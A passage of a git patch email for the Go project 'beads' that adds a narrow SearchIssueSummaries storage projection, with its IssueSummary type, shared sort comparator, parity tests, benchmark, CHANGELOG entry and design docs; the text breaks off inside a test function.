Subject: [PATCH 013/325] perf(storage): SearchIssueSummaries narrow-projection foundation (be-nu4.3) (#3458) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(search): re-cut SearchIssueSummaries atop Lite as searchProjection[T] Re-cuts release/be-nu4.3-stack onto current main, resolved against the merged Lite foundation (#3906) instead of the stale pre-Lite conflict set. SearchIssueSummaries moves from a standalone search_summary.go into a summaryProjection literal alongside issueProjection/issueLiteProjection/ idProjection in issueops/search.go, sharing the generic searchInTx core instead of a parallel top-level function — retiring the anti-pattern coffeegoddd's CHANGES_REQUESTED flagged. LessSummary shares lessFields with Less via a summarySortFields adapter so the two comparators can't drift on NULL-handling or tie-break rules. Adds parity coverage (SearchIssues vs SearchIssueSummaries agree on ID set/order and on every IssueSummary field) and the three-way wide/lite/ summary A/B benchmark, extending dolt_benchmark_test.go — which still only compiles together with the projection method, the fact that retired the earlier "land the bench file first" plan. * test(feat): red — fix parity test to compare order directly + add comparator/wisp-limit coverage (refs be-be3pj) - TestSearchIssuesAndSearchIssueSummaries_Parity now compares SearchIssues/SearchIssueSummaries IDs order-sensitively (slices.Equal) instead of via the sort-then-compare equalStringSlices helper, which would silently pass an ordering/top-N regression. - Add TestLessSummaryMatchesLessAcrossSortKeys: Less vs LessSummary produce identical order across every SortDefs key + "id", both directions. - Add TestSearchIssueSummariesInTx_MergesAcrossIssuesAndWisps: be-yrtwi regression pattern for summaryProjection specifically, covering wisp-merge top-N truncation under a limit. * fix(types): give IssueSummary the same JSON tags as Issue IssueSummary carried no struct tags, so encoding/json emitted Go's default field names ({"ID":…,"Title":…}). The type exists to back list-shaped rendering and `bd list --json` is one of that command's primary modes, so the wiring follow-up would have silently changed the wire shape for every consumer parsing bd output. Zero production callers today makes this a zero-risk moment to fix it. Tags mirror the same-named fields on types.Issue exactly, including priority carrying no omitempty (0 is a valid P0). Three tests pin it: a reflection test comparing every tag against Issue's so the two cannot drift, an exact-key-set marshal test, and an omitempty test. Reviewer item 1 (maphew, 2026-08-03). * docs(storage): pin the --sort id contract on SearchIssueSummaries The interface said SortBy/SortDesc are honored identically to SearchIssues, which is true but left the id case looking like a gap in the summary path. It is not a gap, and the doc now says why: sqlbuild.OrderBy emits no ORDER BY for id (sqlbuild.IsGoSideSort), so *neither* path gets a SQL id order, and both carry a comparator used only where the issues+wisps merge re-sorts (sqlbuild.Less / sqlbuild.LessSummary). The user-facing id order is cmd/bd's own, applied after the call via utils.NaturalCompareIDs (cmd/bd/list.go sortIssues -> compareIssuesBy) — numeric-aware, so bd-2 sorts before bd-10. Adding a lexicographic storage-side summary sorter would therefore diverge from SearchIssues and still not match what bd list renders. Reviewer question (maphew, 2026-08-03): the contract no longer depends on an unfiled follow-up to be readable. * fix(backend): alias IssueSummary into the public backend contract #5321 landed the public backend surface and its reflection drift guard on 2026-08-03, about two hours after this branch's last push, so the 08-11 maintenance rebase brought the branch under a gate that did not exist when the engine interface was widened. TestPublicSurfaceComplete fails on both platforms at the rebased head: internal type github.com/steveyegge/beads/internal/types.IssueSummary is reachable from the public backend contract but has no alias in package backend The gate is right and the rebase broke nothing. SearchIssueSummaries returns []*types.IssueSummary on storage.Storage, which backend.DoltStorage aliases whole, so the row type is now part of the contract an out-of-tree backend writes against — and without the alias that backend cannot name it. Verified this is ours rather than base breakage: the same test passes on origin/main and fails only on this branch. * ci: retrigger after infra-flake red on dc92c3c3 Run 34381971686 went red on two failures, neither of them in this PR's 15-file diff: - Test (storage domain + uow): internal/tracker lost its Dolt testcontainer mid-suite after a Ryuk reaper handshake reset (54 failed, 1994 passed). Known parallel-binary reaper flake; the fix is PR #5770, open and unmerged upstream since 2026-08-15. Third recorded recurrence, same package and same mapped port as the prior two. - PR Core (wrapper timing): TestDoltServer_LogFile_CapturesOutput in internal/storage/dbproxy/server, a package this PR does not touch. Not reproducible locally in 55 attempts against clean main, 30 of them under 2x CPU load with the CI-pinned dolt 2.2.0. We are pull-only on the upstream repo and cannot rerun jobs, so an empty commit is the only retrigger lever available. * test(issueops): tie the summary column list to its scanner, delete a third copy Review point (minor 2): IssueSummaryColumns, ScanIssueSummaryFrom's dest list and search_summary_merge_test.go's summaryColumnNames were three hand-synced copies of the same list, with only the real-database field-parity test to catch a drift between them. Two changes rather than one guard over three lists: - summaryColumnNames now derives from IssueSummaryColumns instead of restating it, so the fixture cannot drift at all. summaryMergeRow places its values by column NAME against that list rather than by literal position, so adding a column widens the row automatically instead of silently shifting every value one slot left. - TestIssueSummaryColumnsMatchScanner pins the remaining pair by count, using a counting scanner that needs no database. This is the summary counterpart of TestIssueSelectColumns_LitePlusHeavyEqualsFull. TestIssueSummaryColumnsAreRealIssueColumns covers what a count cannot: a misspelled column keeps the widths equal and fails only at query time against a real database, as an opaque unknown-column error from whichever caller runs first. Requiring membership in IssueSelectColumns catches it in a unit test. Membership, not order: unlike IssueSelectColumnsLite, IssueSummaryColumns is deliberately not a subsequence of the full list, so there is no analogue of TestIssueSelectColumnsLite_IsFullMinusHeavyInOrder. Both guards verified red-before-green by mutation: adding a column without a dest fails the first, and misspelling one fails the second. * fix(types): carry the wisp-plane markers through the summary projection Review point (MAJOR): IssueSummary's doc comment promises a summary-backed list serializes to the same wire shape a full-Issue-backed one does, and issueops.searchInTx merges wisp rows into every result whose filter does not set SkipWisps. But IssueSummary had no Ephemeral, NoHistory, WispType or StorageClass, so a wisp rendered through it dropped ephemeral, no_history, wisp_type and storage_class from `bd list --json` while every other key stayed identical -- a wisp and a durable bead became indistinguishable on the wire. maphew raised this on 2026-08-03 and it was still open. Adding the fields, not excluding wisps. Excluding them would break the same-wisp-merge-semantics claim that is this PR's central design argument, and would make the wiring follow-up silently drop wisps from `bd list` entirely -- a strictly worse outcome than the missing keys. Correcting our own 2026-08-03 reasoning, which argued the other way. That comment observed that no list *renderer* reads Ephemeral or WispType back off the row, which is true and beside the point: `--json` does not read fields, it marshals the struct. It also treated the cost as the one D3 exists to remove. These four are narrow scalars -- two TINYINT(1), two short VARCHARs, already present on both the issues and wisps tables and already scanned by ScanIssueFrom -- not the multi-KB TEXT bodies and JSON parse the projection is narrow to avoid. Zero callers today makes this free; after the wiring lands it is a wire-format change. Verified red-before-green at both levels: - TestIssueSummaryCarriesWispMarkers failed on all four fields before the change (reflection against Issue, asserting tag AND type -- WispType and StorageClass are named string types that a plain string would impersonate under a tag-only check). - TestIssueSummaryWispKeysMatchIssue marshals the same marker values through both types and compares the four keys byte for byte, including a durable row that must emit none of them. - TestSearchIssueSummaries_FieldsMatchSearchIssues now seeds an ephemeral wisp and a no-history wisp (mutually exclusive, so one row each) and compares all four markers against SearchIssues on a real Dolt database. It refuses to pass vacuously: fewer than two wisp rows in the result is a fatal, since zero-vs-zero marker comparisons would otherwise succeed if the merge stopped returning wisps. Mutating ScanIssueSummaryFrom to stop mapping wisp_type fails it on both seeded rows. ScanIssueSummaryFrom maps the four exactly as ScanIssueFrom does, including a NULL storage_class staying empty for EffectiveStorageClass to resolve per plane rather than being pinned to a literal. * perf(sqlbuild): compare sortFields through pointers, not two copies per call Review point (minor 3): the shared-comparator refactor made Less build two sortFields values per comparison and pass them by value, a small regression on the pre-existing issues+wisps merge sort inside a perf PR. lessFields and sortKeyCompareFields now take *sortFields. sortFields is a ~150-byte struct, so passing by value copied it twice into lessFields and twice more into sortKeyCompareFields on every comparison; that is now zero copies after the adapters run. The adapters still build one value per row -- that normalization is exactly what buys Less and LessSummary a single shared body, and giving it up would reintroduce the drift this PR exists to remove. No allocation either way, before or after: escape analysis reports nothing in Less/LessSummary/lessFields escaping to heap (the only escapes in sort.go are the pre-existing SortDefs map and OrderBy's string formatting), and both arms measure 0 B/op, 0 allocs/op. A throwaway A/B in one binary, -benchtime=3s -count=3 on the priority key, put the by-value median at 26.33 ns/op and the pointer median at 25.35 ns/op, with non-overlapping ranges -- a consistent but small ~4% win. Stating that plainly rather than claiming more: the value here is removing four struct copies per comparison from the hot path, not the wall-clock number, which is within a couple of nanoseconds. Behavior is unchanged; the sqlbuild suite, including the parity and LessID-honors-sortDesc tests, passes. * test(dolt): vary SortBy across the summary parity table Review point (minor 4): none of the nine parity cases set SortBy, so LessSummary-versus-SQL ORDER BY agreement was proven by unit test alone (TestLessSummaryMatchesLessAcrossSortKeys) and never against a real database. Every case ran at the default order, priority ASC. Nine rows added, covering created, title, status, updated and assignee -- the first two in both directions -- plus id in both directions. Each carries a Limit, so the merge's sort-before-trim actually decides which rows survive rather than the ordering being cosmetic: an ordering bug that only shows up in which rows a top-N keeps is the failure mode this table exists to catch. id is included deliberately even though sqlbuild.OrderBy emits no ORDER BY for it. It is the one Go-side key, so these two rows pin that both paths still agree on the order the merge comparator produces where SQL contributes none. All nine pass against a real Dolt database. * docs(storage): document the summary projection's caller contract Two review points, both about the contract being legible to a caller who has only the interface and the extension guide. Minor 1 -- IncludeDependencies is a silent no-op on the summary path, because types.IssueSummary has no Dependencies field to populate. hydrateSummaryLabels says why in its own comment; the interface a caller actually reads did not. SearchIssueSummaries' doc now states it, alongside the neighbouring facts that SkipLabels IS honored identically and that wisps are not excluded. Minor 5 -- engdocs/EXTENDING.md documented the Lite projection's contract and never mentioned the third one. It now carries a parallel section: what a caller may read, why there is no IsLitePartial equivalent (a narrower type makes a missing field a compile error rather than a silent zero value, which is the substantive difference from Lite), the dependency and wisp rules above, the ordering guarantee, and where each is enforced -- including the note that IssueSummaryColumns is deliberately not an ordered subsequence of the full list, so it has no analogue of the lite path's in-order guard. The Lite section is left intact, its own Backend coverage subsection included; the new section follows it rather than interleaving. * chore(bazel): enumerate the two new test files in their go_test srcs The PR adds internal/types/issue_summary_test.go and internal/storage/issueops/search_summary_merge_test.go. Both are untagged, and both packages carry a base-added BUILD.bazel whose go_test enumerates srcs explicitly, so bazel silently would not have compiled or run them: measured on //internal/types:types_test, the unrepaired binary lists 0 of the 5 new tests (68 total) and the repaired one lists 5 of 5 (73), with both builds exiting 0 -- a fake green, since bazel reports "1 test passes" either way. Base parity at 43a526b828 is clean (102 packages / 1192 untagged test files enumerated, 0 srcs gaps), so the omission is PR-introduced rather than an unenforced list. make bazel-sync-check and tools/bazel/go_srcs.py --check both exit 0 on the broken head; generated with make bazel-sync (gazelle), which is idempotent here. Maintainer fixup applied during adopt-pr rebase (PR #3458). * docs: announce the required SearchIssueSummaries method and inventory its span Review follow-through for #3458 (maintainer fixup, iteration 1). CHANGELOG.md: backend/backend.go promises that a required method added to the engine interface is called out in CHANGELOG.md. SearchIssueSummaries is one and had no entry. Adds an [Unreleased] "Changed" bullet in the #4911 form, next to the #6731 GetReadyWorkWithCountsAndTotal announcement: the method and its signature, that callers are unaffected while implementers must add it to compile, and its contract (SortBy/SortDesc and SkipLabels as in SearchIssues, IncludeDependencies a silent no-op, wisps merged with their markers set). engdocs/design/otel/otel-data-model.md: the direct-operations block calls itself a complete inventory and was exact at the PR base. The PR's new storage.SearchIssueSummaries span was the one missing name. Inserted in alphabetical order and bumped the count to 74. A set-diff against the s.op(ctx, "...") names in internal/telemetry/storage.go now finds 74 == 74 with no drift in either direction. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 15 + backend/types.go | 1 + engdocs/EXTENDING.md | 60 ++++ engdocs/design/otel/otel-data-model.md | 8 +- internal/jira/tracker_test.go | 3 + internal/storage/dolt/dolt_benchmark_test.go | 85 ++++++ internal/storage/dolt/queries.go | 12 + internal/storage/dolt/search_parity_test.go | 244 ++++++++++++++++ internal/storage/embeddeddolt/list_queries.go | 12 + internal/storage/issueops/BUILD.bazel | 1 + internal/storage/issueops/scan.go | 79 ++++++ internal/storage/issueops/scan_test.go | 62 ++++ internal/storage/issueops/search.go | 47 ++++ .../issueops/search_summary_merge_test.go | 111 ++++++++ internal/storage/sqlbuild/sort.go | 106 +++++-- internal/storage/sqlbuild/sqlbuild_test.go | 122 ++++++++ internal/storage/storage.go | 23 ++ internal/telemetry/storage.go | 11 + internal/types/BUILD.bazel | 1 + internal/types/issue_summary_test.go | 264 ++++++++++++++++++ internal/types/types.go | 52 +++- 21 files changed, 1295 insertions(+), 24 deletions(-) create mode 100644 internal/storage/issueops/search_summary_merge_test.go create mode 100644 internal/types/issue_summary_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 8234c58a9..28bc20404 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1079,6 +1079,21 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ready set should fail to compile rather than silently fall back to an unbounded query. +- **`storage.Storage` gains a required `SearchIssueSummaries` method** + ([#3458](https://github.com/gastownhall/beads/pull/3458)). It is a + narrow-projection variant of `SearchIssues` for list-shaped rendering: it + returns `[]*types.IssueSummary` (exported as `backend.IssueSummary`), which + carries the list columns, labels, and the four wisp-plane markers but none of + the TEXT/JSON columns. Nothing in `bd` calls it yet, so no command's output + changes. Consumers that only *call* the interface are unaffected; any external + type that *implements* it (a custom store, mock, or proxy, or an + `internal/storage/backends` registrant) must add the method to compile: + `SearchIssueSummaries(ctx context.Context, query string, filter types.IssueFilter) ([]*types.IssueSummary, error)`. + It honors `SortBy`/`SortDesc` and `SkipLabels` exactly as `SearchIssues` + does, `IncludeDependencies` is a silent no-op (a summary has nowhere to put + dependency records), and wisps are merged in unless `SkipWisps` is set, with + their markers set so a wisp row stays distinguishable from a durable issue. + - **Push `--dry-run` now honors `--create-only`** ([#6337](https://github.com/gastownhall/beads/issues/6337)). The sequential tracker push previewed "Would update" for every already-linked issue, even diff --git a/backend/types.go b/backend/types.go index 55eef4f09..65e2590aa 100644 --- a/backend/types.go +++ b/backend/types.go @@ -26,6 +26,7 @@ type ( IssueDetails = types.IssueDetails IssueFilter = types.IssueFilter IssueSnapshot = types.IssueSnapshot + IssueSummary = types.IssueSummary IssueType = types.IssueType IssueWithCounts = types.IssueWithCounts IssueWithDependencyMetadata = types.IssueWithDependencyMetadata diff --git a/engdocs/EXTENDING.md b/engdocs/EXTENDING.md index 7f2222f13..8cfe741eb 100644 --- a/engdocs/EXTENDING.md +++ b/engdocs/EXTENDING.md @@ -66,3 +66,63 @@ with `IsLitePartial == false`. This is correct-but-unoptimized (no lite callers exist yet, so the difference is invisible today); wiring `filter.Lite` through the domain/db stack is deferred to the CLI-wiring follow-up (be-uwvs.2+), not part of this foundation. + +## Summary projection — `store.SearchIssueSummaries` + +`SearchIssueSummaries` is a third projection alongside the full and lite +shapes above. It returns `[]*types.IssueSummary` rather than +`[]*types.Issue`, selecting only `IssueSummaryColumns` — narrower than +`IssueSelectColumnsLite`, because it drops the routing/claim scalars +(`metadata`, `row_lock`, the `leases.*` overlay) a list-shaped render never +reads, not just the heavy TEXT bodies. + +### Contract for callers + +- **MAY** read every field `types.IssueSummary` declares. All of them come + from the row, so there is no `IsLitePartial` equivalent and no partial + state to detect — a field the type does not have is a compile error, not + a silent zero value. That is the difference from Lite: Lite returns a + full-shaped `*types.Issue` with some fields hollowed out, the summary + projection returns a narrower type. +- **MUST** call `store.SearchIssues` instead when dependencies are needed. + `types.IssueSummary` has no `Dependencies` field, so + `IssueFilter.IncludeDependencies` is a silent no-op on this path. + `SkipLabels` is honored exactly as it is on `SearchIssues`. +- **MAY** rely on wisps behaving identically. The issues+wisps merge in + `searchInTx` runs for any filter that does not set `SkipWisps`, and + `types.IssueSummary` carries the four wisp-plane markers (`Ephemeral`, + `NoHistory`, `WispType`, `StorageClass`), so a merged wisp row serializes + the same through either projection. +- **MAY** rely on identical ordering. `SortBy`/`SortDesc` render the same + SQL `ORDER BY`, and the post-merge re-sort uses `sqlbuild.LessSummary`, + which shares one comparator body with `sqlbuild.Less`. + +### Where the contract is enforced + +- Column list and scanner: `internal/storage/issueops/scan.go` + (`IssueSummaryColumns`, `ScanIssueSummaryFrom`). +- SELECT dispatch: `summaryProjection` in + `internal/storage/issueops/search.go` — a + `searchProjection[*types.IssueSummary]` literal on the same + `searchTableInTxT` core as the other two, so WHERE clauses, wisp merge, + dedup, trim and `MaxRows` cannot drift between them. +- Column/scanner guards: + `scan_test.go::TestIssueSummaryColumnsMatchScanner` (count agreement) and + `TestIssueSummaryColumnsAreRealIssueColumns` (every column exists on the + issues/wisps tables). Note `IssueSummaryColumns` is deliberately **not** a + subsequence of `IssueSelectColumns` in order, so it has no analogue of + `TestIssueSelectColumnsLite_IsFullMinusHeavyInOrder`. +- Wire-shape guards: `internal/types/issue_summary_test.go` pins + `IssueSummary`'s JSON tags against `Issue`'s field by field, including the + wisp markers. +- End-to-end parity: `internal/storage/dolt/search_parity_test.go` compares + `SearchIssues` against `SearchIssueSummaries` on a real database, across + filters and sort keys, and field by field for durable and wisp rows. + +### Backend coverage + +No in-tree caller reads `SearchIssueSummaries` yet — this is the storage +foundation, and the `bd list` wiring that spends it is tracked separately. +The proxied-server (`internal/storage/domain/db`) path does not implement +the narrow projection either, for the same reason `filter.Lite` is not +wired through it yet (above). diff --git a/engdocs/design/otel/otel-data-model.md b/engdocs/design/otel/otel-data-model.md index 6545b53d7..1d6f5ec39 100644 --- a/engdocs/design/otel/otel-data-model.md +++ b/engdocs/design/otel/otel-data-model.md @@ -172,7 +172,7 @@ are inventoried here rather than repeated. There are two families. **Direct storage operations** — `storage.`, one per storage method -(73 spans): +(74 spans): ``` AddDependency AddIssueComment AddLabel CloseIssue CloseIssueChecked @@ -190,9 +190,9 @@ IterEvents IterIssueComments IterIssues IterReadyWork IterWisps ListWisps MergeMetadata MergeSlotAcquire MergeSlotCheck MergeSlotCreate MergeSlotRelease RecordProvenanceEvent RemoveDependency RemoveLabel ReopenIssue RunInIssueLifecycleTransaction RunInTransaction SearchIssueIDs SearchIssues -SearchIssuesWithCounts SetConfig SetLocalMetadata SlotClear SlotGet SlotSet -UnclaimIssue UnclaimIssueIfAssignee UpdateIssue UpdateIssueChecked -UpdateIssueType +SearchIssueSummaries SearchIssuesWithCounts SetConfig SetLocalMetadata +SlotClear SlotGet SlotSet UnclaimIssue UnclaimIssueIfAssignee UpdateIssue +UpdateIssueChecked UpdateIssueType ``` **Issueops role operations** — `storage..`, emitted when a caller diff --git a/internal/jira/tracker_test.go b/internal/jira/tracker_test.go index 47aa5a99c..c24a6d94c 100644 --- a/internal/jira/tracker_test.go +++ b/internal/jira/tracker_test.go @@ -769,6 +769,9 @@ func (s *configStore) SearchIssues(_ context.Context, _ string, _ types.IssueFil func (s *configStore) SearchIssueIDs(_ context.Context, _ string, _ types.IssueFilter) ([]string, error) { return nil, nil } +func (s *configStore) SearchIssueSummaries(_ context.Context, _ string, _ types.IssueFilter) ([]*types.IssueSummary, error) { + return nil, nil +} func (s *configStore) AddDependency(_ context.Context, _ *types.Dependency, _ string) error { return nil } diff --git a/internal/storage/dolt/dolt_benchmark_test.go b/internal/storage/dolt/dolt_benchmark_test.go index 90bd5faf7..deefe5786 100644 --- a/internal/storage/dolt/dolt_benchmark_test.go +++ b/internal/storage/dolt/dolt_benchmark_test.go @@ -1382,6 +1382,91 @@ func BenchmarkPerfIDProjectionVsHydration_5K(b *testing.B) { }) } +// BenchmarkPerfSummaryProjectionVsHydration_5K is the three-way wide/lite/ +// summary A/B: SearchIssueSummaries (narrow projection, IssueSummaryColumns) +// vs SearchIssues with Lite:true (IssueSelectColumnsLite, defers 6 heavy TEXT +// columns) vs SearchIssues full (IssueSelectColumns, hydrates everything). +// Mirrors BenchmarkPerfIDProjectionVsHydration_5K's shape; the extra middle +// arm exists because #3906 (Lite) landed after PR #3458's original two-way +// A/B was measured, so summary-vs-full alone would overclaim, some of that +// win is now Lite's. +func BenchmarkPerfSummaryProjectionVsHydration_5K(b *testing.B) { + store, cleanup := setupBenchStore(b) + defer cleanup() + + const total = 5000 + // Heavy TEXT payloads approximate real issues. Neither the summary nor the + // lite projection scans these columns; SkipLabels does not help with them. + bigText := strings.Repeat("lorem ipsum dolor sit amet consectetur ", 24) // ~936 B + bigJSON := json.RawMessage(`{"k":"` + strings.Repeat("v", 256) + `"}`) + + issues := make([]*types.Issue, 0, total) + for i := 0; i < total; i++ { + issues = append(issues, &types.Issue{ + ID: fmt.Sprintf("summarybench-%05d", i), + Title: fmt.Sprintf("summarybench issue %05d", i), + Description: bigText, + Design: bigText, + AcceptanceCriteria: bigText, + Notes: bigText, + Metadata: bigJSON, + Status: types.StatusOpen, + Priority: (i % 4) + 1, + IssueType: types.TypeTask, + Labels: []string{"area-summary", fmt.Sprintf("bucket-%03d", i%100)}, + }) + } + createBenchIssueBatch(b, store, issues) + + ctx := context.Background() + // "summarybench" appears in every id and title, so id/title LIKE matches + // the full set — maximizing per-row hydration cost, the dimension under + // test. + const query = "summarybench" + + // Guard: all three arms must see the same cardinality, else the + // comparison would be measuring row count rather than projection width. + if ids, err := store.SearchIssueIDs(ctx, query, types.IssueFilter{}); err != nil { + b.Fatalf("setup SearchIssueIDs: %v", err) + } else if len(ids) != total { + b.Fatalf("fixture: expected %d matches, got %d", total, len(ids)) + } + + b.Run("SearchIssueSummaries_narrow", func(b *testing.B) { + b.ReportAllocs() + for i := 0; i < b.N; i++ { + if got, err := store.SearchIssueSummaries(ctx, query, types.IssueFilter{}); err != nil { + b.Fatalf("SearchIssueSummaries: %v", err) + } else if len(got) != total { + b.Fatalf("SearchIssueSummaries: got %d want %d", len(got), total) + } + } + }) + + b.Run("SearchIssues_Lite", func(b *testing.B) { + b.ReportAllocs() + filter := types.IssueFilter{Lite: true} + for i := 0; i < b.N; i++ { + if got, err := store.SearchIssues(ctx, query, filter); err != nil { + b.Fatalf("SearchIssues Lite: %v", err) + } else if len(got) != total { + b.Fatalf("SearchIssues Lite: got %d want %d", len(got), total) + } + } + }) + + b.Run("SearchIssues_full", func(b *testing.B) { + b.ReportAllocs() + for i := 0; i < b.N; i++ { + if got, err := store.SearchIssues(ctx, query, types.IssueFilter{}); err != nil { + b.Fatalf("SearchIssues full: %v", err) + } else if len(got) != total { + b.Fatalf("SearchIssues full: got %d want %d", len(got), total) + } + } + }) +} + func BenchmarkPerfAddDependencyCycleCheck_DiamondDAG(b *testing.B) { store, cleanup := setupBenchStore(b) defer cleanup() diff --git a/internal/storage/dolt/queries.go b/internal/storage/dolt/queries.go index 344325b7a..38a57bff2 100644 --- a/internal/storage/dolt/queries.go +++ b/internal/storage/dolt/queries.go @@ -37,6 +37,18 @@ func (s *DoltStore) SearchIssueIDs(ctx context.Context, query string, filter typ return result, err } +// SearchIssueSummaries is the narrow-projection variant of SearchIssues; +// returns []*types.IssueSummary instead of full issues. +func (s *DoltStore) SearchIssueSummaries(ctx context.Context, query string, filter types.IssueFilter) ([]*types.IssueSummary, error) { + var result []*types.IssueSummary + err := s.withReadTx(ctx, func(tx *sql.Tx) error { + var err error + result, err = issueops.SearchIssueSummariesInTx(ctx, tx, query, filter) + return err + }) + return result, err +} + func (s *DoltStore) SearchIssuesWithCounts(ctx context.Context, query string, filter types.IssueFilter) ([]*types.IssueWithCounts, error) { var result []*types.IssueWithCounts err := s.withReadTx(ctx, func(tx *sql.Tx) error { diff --git a/internal/storage/dolt/search_parity_test.go b/internal/storage/dolt/search_parity_test.go index 08f4b0a5e..9b28eb422 100644 --- a/internal/storage/dolt/search_parity_test.go +++ b/internal/storage/dolt/search_parity_test.go @@ -2,6 +2,7 @@ package dolt import ( "context" + "slices" "sort" "testing" @@ -66,6 +67,249 @@ func TestSearchIssuesAndSearchIssueIDs_Parity(t *testing.T) { } } +// TestSearchIssuesAndSearchIssueSummaries_Parity asserts that SearchIssues and +// SearchIssueSummaries return the same ID set, in the same order, across the +// same representative filters TestSearchIssuesAndSearchIssueIDs_Parity checks +// above. SearchIssueSummaries shares the same generic searchInTx core +// (summaryProjection, internal/storage/issueops/search.go) as SearchIssues and +// SearchIssueIDs; this is that contract's third leg. +func TestSearchIssuesAndSearchIssueSummaries_Parity(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := testContext(t) + defer cancel() + + seedSearchParityFixture(ctx, t, store) + + cases := []struct { + name string + query string + filter types.IssueFilter + }{ + {name: "no filter, full set"}, + {name: "open status only", filter: types.IssueFilter{Statuses: []types.Status{types.StatusOpen}}}, + {name: "priority filter", filter: types.IssueFilter{Priority: ptr(1)}}, + {name: "substring search (id_parser fallback)", query: "search-parity"}, + {name: "substring search no match", query: "no-such-prefix-anywhere"}, + {name: "label-driven (DISTINCT join)", filter: types.IssueFilter{Labels: []string{"alpha"}}}, + {name: "ephemeral only", filter: types.IssueFilter{Ephemeral: ptr(true)}}, + {name: "non-ephemeral only", filter: types.IssueFilter{Ephemeral: ptr(false)}}, + {name: "limit applied", filter: types.IssueFilter{Limit: 2}}, + // SortBy-varying rows. Without these the SQL ORDER BY that + // sqlbuild.LessSummary mirrors is only ever exercised at its default + // (priority ASC), so LessSummary-vs-SQL agreement on every other key + // is proven by unit test alone (TestLessSummaryMatchesLessAcrossSortKeys) + // and never against a real database. Each key is covered in both + // directions, and each is paired with a Limit so the merge's + // sort-before-trim actually decides which rows survive. + {name: "sort created asc + limit", filter: types.IssueFilter{SortBy: "created", Limit: 3}}, + {name: "sort created desc + limit", filter: types.IssueFilter{SortBy: "created", SortDesc: true, Limit: 3}}, + {name: "sort title asc + limit", filter: types.IssueFilter{SortBy: "title", Limit: 3}}, + {name: "sort title desc + limit", filter: types.IssueFilter{SortBy: "title", SortDesc: true, Limit: 3}}, + {name: "sort status asc + limit", filter: types.IssueFilter{SortBy: "status", Limit: 3}}, + {name: "sort updated desc + limit", filter: types.IssueFilter{SortBy: "updated", SortDesc: true, Limit: 3}}, + {name: "sort assignee asc + limit", filter: types.IssueFilter{SortBy: "assignee", Limit: 3}}, + // "id" is the one Go-side key (sqlbuild.IsGoSideSort): SQL emits no + // ORDER BY for it, so this row pins that both paths still agree on the + // order the merge comparator produces. + {name: "sort id asc + limit", filter: types.IssueFilter{SortBy: "id", Limit: 3}}, + {name: "sort id desc + limit", filter: types.IssueFilter{SortBy: "id", SortDesc: true, Limit: 3}}, + } + + for _, tc := range cases { + tc := tc + t.Run(tc.name, func(t *testing.T) { + issues, err := store.SearchIssues(ctx, tc.query, tc.filter) + if err != nil { + t.Fatalf("SearchIssues: %v", err) + } + summaries, err := store.SearchIssueSummaries(ctx, tc.query, tc.filter) + if err != nil { + t.Fatalf("SearchIssueSummaries: %v", err) + } + + fromIssues := make([]string, len(issues)) + for i, issue := range issues { + fromIssues[i] = issue.ID + } + fromSummaries := make([]string, len(summaries)) + for i, s := range summaries { + fromSummaries[i] = s.ID + } + + // Order-sensitive: both paths share the same ORDER BY, so unlike + // equalStringSlices (which sorts before comparing and only proves + // the same ID set), this must also catch drift in relative row order. + if !slices.Equal(fromIssues, fromSummaries) { + t.Errorf("SearchIssues vs SearchIssueSummaries disagree:\n SearchIssues: %v\n SearchIssueSummaries: %v", + fromIssues, fromSummaries) + } + }) + } +} + +// TestSearchIssueSummaries_FieldsMatchSearchIssues asserts that every field +// types.IssueSummary carries agrees with the corresponding types.Issue field +// for the same row, including the nullable/derived fields most likely to +// silently drift from ScanIssueFrom if ScanIssueSummaryFrom's column list or +// scan order falls out of sync: Pinned, Labels, Assignee, and ClosedAt. +// +// The fixture seeds wisps as well as durable beads, because the wisp-plane +// markers are the fields with the most room to drift: they are read from a +// second table (searchInTx merges wisps into every non-SkipWisps result) and +// they are the newest columns in IssueSummaryColumns. A durable-only fixture +// would leave all four at their zero values and pass whether or not the +// summary path reads them at all. +func TestSearchIssueSummaries_FieldsMatchSearchIssues(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := testContext(t) + defer cancel() + + pinned := &types.Issue{ + ID: "search-summary-pinned", + Title: "pinned reference issue", + Status: types.StatusOpen, + Priority: 1, + IssueType: types.TypeTask, + Assignee: "alice", + Pinned: true, + } + if err := store.CreateIssue(ctx, pinned, "tester"); err != nil { + t.Fatalf("CreateIssue (pinned): %v", err) + } + if err := store.AddLabel(ctx, pinned.ID, "needs-summary-field", "tester"); err != nil { + t.Fatalf("AddLabel: %v", err) + } + + const closedID = "search-summary-closed" + closedIssue := &types.Issue{ + ID: closedID, + Title: "closed reference issue", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeBug, + } + if err := store.CreateIssue(ctx, closedIssue, "tester"); err != nil { + t.Fatalf("CreateIssue (closed): %v", err) + } + if err := store.CloseIssue(ctx, closedID, "done", "tester", "s1"); err != nil { + t.Fatalf("CloseIssue: %v", err) + } + + // Wisp-plane rows. Ephemeral and NoHistory are mutually exclusive + // (types.Issue.Validate), so they need one row each; both carry a WispType + // so a dropped wisp_type column cannot pass as an empty-string match. + ephemeralWisp := &types.Issue{ + Title: "ephemeral summary wisp", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Ephemeral: true, + WispType: types.WispTypeHeartbeat, + } + if err := store.CreateIssue(ctx, ephemeralWisp, "tester"); err != nil { + t.Fatalf("CreateIssue (ephemeral wisp): %v", err) + } + noHistoryWisp := &types.Issue{ + Title: "no-history summary wisp", + Status: types.StatusOpen, + Priority: 3, + IssueType: types.TypeTask, + NoHistory: true, + WispType: types.WispTypeEscalation, + } + if err := store.CreateIssue(ctx, noHistoryWisp, "tester"); err != nil { + t.Fatalf("CreateIssue (no-history wisp): %v", err) + } + + issues, err := store.SearchIssues(ctx, "", types.IssueFilter{}) + if err != nil { + t.Fatalf("SearchIssues: %v", err) + } + summaries, err := store.SearchIssueSummaries(ctx, "", types.IssueFilter{}) + if err != nil { + t.Fatalf("SearchIssueSummaries: %v", err) + } + if len(summaries) != len(issues) { + t.Fatalf("SearchIssueSummaries returned %d rows, SearchIssues returned %d", len(summaries), len(issues)) + 